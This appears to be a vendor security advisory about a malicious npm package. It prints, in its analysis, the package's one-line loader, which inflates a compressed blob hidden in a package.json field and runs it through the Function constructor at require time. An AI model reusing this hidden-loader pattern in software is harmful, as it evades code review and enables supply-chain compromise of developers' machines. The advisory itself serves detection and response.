NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

tsbwt-hawsi-utilnpm

Advisory published Updated

tsbwt-hawsi-util is a confirmed malicious npm package (MAL-2026-20272) that executes malicious code on install (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in tsbwt-hawsi-util (npm)

MAL-2026-20272
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall tsbwt-hawsi-util

What this malware does

On require(), index.js reads a byte array stored in a _bz field inside package.json, zlib-inflates it, and passes the resulting string to the Function constructor as code with require and __dirname bound into scope: var _b=Buffer.from(_j._bz);var _d=require('zlib').inflateSync(_b); _FC('require','__dirname',_d.toString('utf8'))(require,__dirname);. The whole construct is wrapped in a silent try/catch. In this published version the inflated bytes decode to console.log(1), so no harmful behavior fires, but the mechanism is a general-purpose hidden code loader: whatever bytes the maintainer ships in the manifest's _bz field are decompressed and executed at module load time with full Node privileges, and the opaque binary blob in a non-code field evades normal source review. The decoded payload has access to the full require resolver and the package directory, enabling arbitrary filesystem, network, and child-process actions.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.1

Indicators of compromise (SHA-256)

f60d2fd5582018d3f424ae73b45ab0e09876546e79056ae4de67d2be71b29cf9
8a628809b3bbbcb3a405a0250d08c4d352e7438f3dc76454d839be6f84298cc9

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for tsbwt-hawsi-util (version 1.0.1).

  2. If you installed it — respond

    Remove tsbwt-hawsi-util from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If tsbwt-hawsi-util was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. tsbwt-hawsi-util on npm has been identified as a malicious package (version 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-hq35-gwxr-qq5xIN-MAL-2026-022921

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks tsbwt-hawsi-util-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

tsbwt-hawsi-util (npm) malicious package — MAL-2026-20272 | O3 Security